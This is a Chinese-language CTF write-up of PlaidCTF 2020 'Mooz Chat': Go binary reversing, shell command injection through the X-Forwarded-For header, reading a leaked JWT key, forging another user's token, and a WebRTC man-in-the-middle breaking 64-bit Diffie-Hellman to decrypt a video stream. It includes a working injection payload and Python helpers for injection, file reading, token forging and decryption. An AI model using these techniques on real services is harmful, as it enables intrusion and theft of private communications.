PlaidCTF2020 Mooz Chat 复盘

前言

Part 1 (150 pts) —7 solves pasten A0E Tea Deliverers

Part 2 (400 pts) — 1 solves pasten

Part 1: Tom Nook and Isabelle have been exchanging text messages over Mooz recently. Is Tom Nook looking for something besides bells these days?

Part 2: Timmy and Tommy are now using Mooz to manage their store from a safe distance. Thankfully their video chats are end-to-end encrypted so nobody can steal their secrets.

知识点

Part1: 命令注入、JWT泄露
Part2：中间人攻击获取数据包、64 bit Diffie-Hellman （使用GFNS算法分解）

逆向部分

安装IDAGolangHelper插件

绑定的路由以及对应处理的handle

1App_handleRequest（main_handleLogin， /api/login）
2App_handleRequest（main_handleRegister， /api/register）
3App_handleRequest（main_handleMessage， /api/message）
4App_handleRequest（main_handleHost， /api/host）
5App_handleRequest（main_handleFind， /api/find）
6App_handleRequest（main_handleJoin， /api/join）
7App_handleRequest（main_handleJoin， /api/profile）
8App_handleRequest（main_handleAvatar， /api/avatar）
9App_handleRequest（main_handleadminUsers， /api/adminusers）
10App_handleRequest（main_handleAdminRooms， /api/rooms）
11App_handleRequest（main_handleAdminMessages， /api/messages）

相关信息

1https://github.com/sibears/IDAGolangHelper    // IDA GO插件
2https://github.com/gorilla/mux  // 题目使用mux框架做路由
3
4https://github.com/aiortc/aiortc   // 实现中间人所使用的库
5aiortc的安装有点坑
6https://en.wikipedia.org/wiki/General_number_field_sieve //GNFS求解离散对数算法

Part 1

漏洞点

在main_sandboxCmd中，存在执行命令的功能，且命令中部分内容可控，因此可以进行命令注入

调用顺序

main_handleProfile  > main_getAvatar > main_sandboxCmd

在 main_getAvatar中有两处调用 main_sandboxCmd，是为了对Post的avatar内容进行处理，处理完的结果会base返回给用户

第一处为

convert -size %dx%d xc:none -bordercolor %s -border 0 -pointsize 32 -font %s -gravity center -draw "text 0,2 %c" png:- | base64 -w0

第二处为

base64 -d | convert -comment 'uploaded by %s' - -resize %dx%d png:- | base64 -w0

其中第二处的 uploaded by %s由 main_getIPAddr 获得，main_getIPAddr会从请求头中的 X-Forwarded-For取出，而X-Forwarded-For是我们可控的，因此只需要在X-Forwarded-For中进行注入即可

1headers = {
2        "X-Forwarded-For": "1.1.1.1' | echo $(%s | base64 -w0) MAGICMAGIC '" % command,
3    }

该操作需要一个授权用户，因此需要先进行登录获取一个合法用户的token再命令注入

1>>> print(run_command("ps").decode())
2PID TTY      STAT   TIME COMMAND
3    1 ?        SNs    0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0
4    4 ?        SN     0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0
5    5 ?        SN     0:00 base64 -w0
6    6 ?        SN     0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0
7    7 ?        RN     0:00 ps ax
8    8 ?        RN     0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0

通过注入ps命令观察到，程序应该是跑在沙箱中的，后面发现是用nsjail启动的

1>>> print(run_command("ls").decode()) 
2bin
3boot
4dev
5etc
6home
7lib
8lib64
9media
10mnt
11opt
12proc
13root
14run
15sbin
16srv
17start.sh
18sys
19tmp
20usr
21var

发现比较敏感的start.sh ，需要分段读取start.sh，否则太大了

1def read_file(file_name):
2    d = b''
3    index = 0
4    while True:
5        dd = run_command("dd if=%s bs=1 count=4096 skip=%d" % (file_name, index))
6        if not dd:
7            return d
8        d += dd
9        index += 4096

获取到 start.sh 的内容

1#!/bin/bash
2nginx
3······
4export JWT_KEY="Pl4idC7F2020"
5······

获得JWT_KEY为Pl4idC7F2020，由题干中知道我们的目标是登录tomnook账户，看一下x-chat-authorization中的JWT组成

1{
2	"ipaddr": "xxx.xxx.xxx.xxx",
3	"username": "xxx"
4}

然后就可以构造出tomnook账户的token了

1MY_IP = "your ip address"
2JWT = "Pl4idC7F2020"
3def get_messages():
4    token = {'ipaddr': MY_IP, 'username': 'tomnook'}
5
6    url = "https://chat.mooz.pwni.ng/api/messages"
7    headers = {
8        "x-chat-authorization": jwt.encode(token, JWT),
9    }
10    r=requests.get(url,proxies = proxies ,verify= False, headers=headers);
11
12    assert r.status_code == 200
13    return json.loads(r.text)

获得第一个flag

[······{u'to': u'tomnook', u'from': u'isabelle', u'data': u'pctf{aModestSumOfShells}'}]

Part 2

现在已经可以登录tomnook账户了，通过 /api/rooms获取房间列表

[{"_id": "000000000000000000000000", "host": "timmy_fc87dfa4", "room": "shop_c0ddd565"}, {"_id": "000000000000000000000000", "host": "timmy_446c2ede", "room": "shop_9415eba1"}]

可以观察到timmy一直在创建房间，每一次都用一个不同的后缀创建(后缀)，查看一下前端webpack中chat.js创建房间和加入房间的逻辑

1const rtcConfiguration = {
2    iceServers: [
3        { urls: 'turn:45.79.56.244', username: 'user', credential: 'passpass' }
4    ]
5}
6const dataChannelInit = {
7    negotiated: true,
8    id: 0
9}
10······
11async chatHost(room, password) {
12    this.chatReset()
13    try {
14        this.connection = await this.createPeerConnection()
15        this.channel = this.createDataChannel(this.connection)
16        const offer = await this.connection.createOffer()
17        await this.connection.setLocalDescription(offer)
18        const data = await this.api.host(room, offer)
19        this.room = data.room
20        this.peer = data.username
21        this.packetizer = this.newPacketizer(true, password || '')
22        await this.connection.setRemoteDescription(data.answer)
23        this.connected = true
24        this.sendPendingCandidates()
25        this.processPeerCandidates()
26    } catch (e) {
27        this.chatReset()
28        console.log(e)
29        return false
30    }
31    return true
32}
33
34async chatJoin(room, password) {
35    this.chatReset()
36    const data = await this.api.find(room)
37    this.connection = await this.createPeerConnection()
38    try {
39        this.channel = this.createDataChannel(this.connection)
40        this.room = data.room
41        this.peer = data.username
42        this.packetizer = this.newPacketizer(false, password || '')
43        await this.connection.setRemoteDescription(data.offer)
44        const answer = await this.connection.createAnswer()
45        await this.connection.setLocalDescription(answer)
46        await this.api.join(this.room, answer)
47        this.connected = true
48        this.sendPendingCandidates()
49        this.processPeerCandidates()
50    } catch (e) {
51        this.chatReset()
52        console.log(e)
53        return false
54    }
55    return true
56}

chatHost流程大致为创建WebRTC连接，创建Channel给其他用户发送ICE candidates消息，这些消息可以通过 /api/message获得，ICE candidates帮助建立端对端的连接，相当于一个 peer connection 列表

建议阅读一下：https://webrtc.org/getting-started/peer-connections

同样的，chatJoin也会发送类似的消息

[{"to":"a123123","from":"timmy_eb0e6172","type":"ice","data":"{\"candidate\":\"candidate:1876313031 1 tcp 1518091519 ::1 34945 typ host tcptype passive generation 0 ufrag 83oP network-id 5\",\"sdpMid\":\"0\",\"sdpMLineIndex\":0,\"foundation\":\"1876313031\",\"component\":\"rtp\",\"priority\":1518091519,\"address\":\"::1\",\"protocol\":\"tcp\",\"port\":34945,\"type\":\"host\",\"tcpType\":\"passive\",\"relatedAddress\":null,\"relatedPort\":null,\"usernameFragment\":\"83oP\"}"}]

通道建立以后，消息机制如下

1async onOpenChannel() {
2        console.log('open')
3
4        if (this.peerConnected) {
5            return
6        }
7        this.peerConnected = true
8
9        this.channel.onmessage = (e) => {
10            const wasReady = this.packetizer.isReady()
11            const ptr = Module._malloc(e.data.byteLength)
12            Module.HEAP8.set(new Uint8Array(e.data), ptr)
13            this.packetizer.processData(ptr, e.data.byteLength)
14            Module._free(ptr)
15            
16            this.flushPacketizer()
17            if (this.packetizer) {
18                if (this.packetizer.isReady() && !wasReady) {
19                    this.currentPeer = this.peer
20                    if (this.options.onPeerConnected) {
21                        this.options.onPeerConnected()
22                    }
23                }
24                
25                const dataType = this.packetizer.getDataType()
26                if (dataType >= 0) {
27                    const dataPtr = this.packetizer.getData()
28                    const dataSize = this.packetizer.getDataSize()
29                    const data = new Uint8Array(Module.HEAP8.slice(dataPtr, dataPtr + dataSize))
30
31                    switch (dataType) {
32                    case 0:
33                        if (this.options.onVideoData) {
34                            this.options.onVideoData(data)
35                        }
36                        break
37                    case 1:
38                        if (this.options.onSecureMessage) {
39                            const decoder = new TextDecoder()
40                            this.options.onSecureMessage(this.peer, decoder.decode(data))
41                        }
42                        break
43                    case 255:
44                        this.disconnectPeer()
45                        break
46                    default:
47                        console.error(`Unknown peer message: type=${dataType}, data=${data}`)
48                        break
49                    }
50                }
51            }
52        }
53        this.flushPacketizer()
54    }
55    
56newPacketizer(hosting, password) {
57        const rand = new Uint8Array(64)
58        this.options.getRandomValues(rand)
59        const randPtr = Module._malloc(rand.byteLength)
60        Module.HEAP8.set(rand, randPtr)
61        const nonce = hosting ? this.api.username + "\n" + this.peer : this.peer + "\n" + this.api.username
62        const packetizer = new Module.Connection(hosting, nonce, password, randPtr, rand.byteLength)
63        Module._free(randPtr)
64        return packetizer
65    }

其中packetizer的具体实现再webassembly.wasm里，需要逆wasm

下载webassembly.wasm，要通过url下载，不要在f12里下载，用wasm2c转成c代码，编译后丢进IDA中，具体过程就不详细说了，网上很多资料

从wasm中提取出以下主要的方法，这些函数名也可以从f12里看到

1Connection(host, nonce, password, seed, seed_size) // the constructor
2processData(self, data, size)
3sendData(self, type, data, size)
4isRead(self)
5isError(self)
6getOutput(self)
7consumeOutput(self)
8getData(self)
9getDataSize(self)
10getDataType(self)

其中Packetizer的实例化过程中用到了几个参数

nonce 其构造格式为<hosting username>\n<peer username>
password 密钥
randPtr 随机种子

newPacketizer(hosting, password) { const rand = new Uint8Array(64) this.options.getRandomValues(rand) const randPtr = Module._malloc(rand.byteLength) Module.HEAP8.set(rand, randPtr) const nonce = hosting ? this.api.username + "\n" + this.peer : this.peer + "\n" + this.api.username const packetizer = new Module.Connection(hosting, nonce, password, randPtr, rand.byteLength) Module._free(randPtr) return packetizer }

逆向wasm得到协议细节

1// Connection__Connection_bool__char___char___void___unsigned_int_
2Connection::Connection(...) {
3    this->state = 0;
4    RAND_seed(seed, seed_size);
5    AES_set_encrypt_key(128, SHA1(password)[:16], nonce_encryptor);
6    AES_encrypt(nonce, this->encrypted_nonce, nonce_encryptor);
7    AES_encrypt(nonce+16, this->encrypted_nonce+16, nonce_encryptor);
8    Connection::setup(this);
9}
10
11// Connection__setup__	
12Connection::setup() {
13    if (hosting) {
14        // Create the first packet
15        dh = DH_new();
16        DH_generate_parameters_ex(dh, 64, 2, 0);
17        dh_param_length = i2d_DHparams(dh, dh_param);
18        DH_generate_key(dh);
19        dh_pub_key = DH_get_pub_key(dh);
20        write_byte_to_packet(0);
21        write_word_to_packet(dh_param_length);
22        write_bytes_to_packet(dh_param, dh_param_length);
23        dh_pub_key_bits = BN_num_bits(dh_pub_key);
24        write_word_to_packet((dh_pub_key_bits+7)/8);
25        write_bytes_to_packet(dh_pub_key, (dh_pub_key_bits+7)/8);
26    }
27}
28
29// Connection__processData_void_const___int_
30Connection::processData(this, data, data_length) {
31    packet_state = read_byte_from_packet();
32    // check that packet_state == this->state
33    switch (packet_state) {
34    case 0: // initialize connection
35        if (hosting) {
36            // ...
37        }
38        else {
39            // loads the dh params from packet
40            DH_generate_key(dh);
41            dh_pub_key = DH_get_pub_key(dh);
42            write_byte_to_packet(0);
43            dh_pub_key_bits = BN_num_bits(dh_pub_key);
44            write_word_to_packet((dh_pub_key_bits+7)/8);
45            write_bytes_to_packet(dh_pub_key, (dh_pub_key_bits+7)/8);
46            DH_compute_key(shared_key, other_pub_key, dh); // 8 bytes
47            key = SHA1("0123425234234fsdfsdr3242" + shared_key)[:16];
48            AES_set_encrypt_key(128, key, this->send_encryptor);
49            AES_set_decrypt_key(128, key, this->recv_decryptor);
50            AES_encrypt(this->encrypted_nonce, encrypted_nonce, this->send_encryptor);
51            write_bytes_to_packet(encrypted_nonce, 32);
52            this->state = 1;
53        }
54        break;
55    case 1:
56        // not interseting, basically change to state to 2
57        ...
58    case 2: // connection ready
59        this->data_type = read_byte_from_packet();
60        this->data_len = read_word_from_packet();
61        // decrypt the data with this->recv_decryptor
62    }
63}

其中建立连接的数据包格式

Host -> Client:

1BYTE - state - 0
2WORD - DH parameters length
3BYTE[] - DH parameters
4WORD - DH public key length
5BYTE[] - DH public key (for the connection key)

Client-> Host:

1BYTE - state - 0
2WORD - DH public key length
3BYTE[] - DH public key (for the connection key)
4BYTE[32] - encrypted nocne (with password and the connection key)

Host->Clinet:

BYTE - state - 1

传送数据

1BYTE - state - 2
2BYTE - data type (0 - video data, 1 - text message, 255 - disconnect)
3WORD - data length
4BYTE[] - data encrypted with the connection key

采用 64 bits 的DH来协商会话密钥，然而，64 bits DH的安全性太弱，可以使用GNFS算法来求解离散对数难题，如果我们能够获得timmy和tommy的通信数据，从中得到DH协商过程的参数，那么我们就可以使用NFS来求解离散对数

那么如何获取通信数据，就要靠中间人攻击了，说实话，MITM在CTF里还是比较少见

中间人攻击步骤

通过/api/rooms找到timmy创建的房间
通过 /api/join/<room_name> 加入房间，与 timmy建立WebRTC连接
通过 /api/host/<room_name> 建立与之前加入房间同名的房间，等待tommy加入，与 Tommy建立起WebRTC连接
通信并获取通信数据包
离线破解DH keys
解密AES加密的通信数据

注意到

我们需要保证作为peer的中间人与作为host的中间人这两个通信的nonce是一样的，而nonce是由host和peer的username构成的，因此我们需要保证他们的名称相同。
由于是p2p连接，因此当第二步加入房间以后，timmy建立的房间信息会消失，因此后面再建立一个同名房间是没有问题的

要实现中间人攻击需要用使用支持WebRTC协议的库，使用 aiortc来实现中间人攻击，主要逻辑为

获取 rooms
选择某个 timmy 建立的房间，比如timmy_abcdefgh
用 tommy_abcdefgh 的身份加入房间
使用 timmy_abcdefgh的身份再创建房间（有JWT_KEYS）
假设作为peer加入房间的通信为 channel1，作为host创建的房间的通信为 channel2
将channel1发来的数据转发给channel2，将channel2回应的数据转发给 channel1从而实现中间人的过程

得到数据（我已经按照协议细节用空格划分了一下）

1H: b'00 0010 300e020900f142e55f240288a3020102 0008 3255cf918dd81e89'
2C: b'00 0008 75781b2554f4927f baca5f08511f02c37ccef8515ff78c4f6b551247e6bb13841792d6b386b1f3a0'
3H: b'01'
4....

根据前面逆出来的协议，DH所使用的参数为

1g=2
2p=17384709708392335523
3g**x=3627033298973761161
4
5
6
7
8g**y = 8464545346795901567

64位的DH是可以使用 GNFS 算法来在合理的时间内破解的，全场唯一做出这道题的 pasten 使用了 GDLOG 来实现求解，相关的使用过程就不在这里赘述了，求解出x的值，由于DH中shared secret的值为 g**(x*y) mod p 所以，我们只需要计算 (g**y)**x mod p就可以得到shared secret

1In [1]: hex(pow(gy, x, p))
2Out[1]: '0x7c35faf0dad285c9'

然后解密

1data = b''
2aes = AES.new(hashlib.sha1(b"0123425234234fsdfsdr3242" + codecs.decode("7c35faf0dad285c9", "hex")).digest()[:16])
3for packet in packets:
4    state = packet[0]
5    if state != 2:
6        continue
7    ptype, length = struct.unpack(">BH", packet[1:4])
8    data += aes.decrypt(packet[4:])[:length]
9open("video.webm", "wb").write(data)

得到一段timmy和tommy之间端对端的video chat，flag在图像里

pctf{TurnipFireSale}

总结

比赛的时候没来得及看这道题（看了也做不出来 :( ，赛后复盘，觉得这道题目考察的能力比较综合，涉及到 Web + Re + Crypto ，而且中间人的点出在web里是比较新颖的一个点了。

CTF实验室 http://hetianlab.com/pages/CTFLaboratory.jsp

PlaidCTF2020 Mooz Chat 复盘

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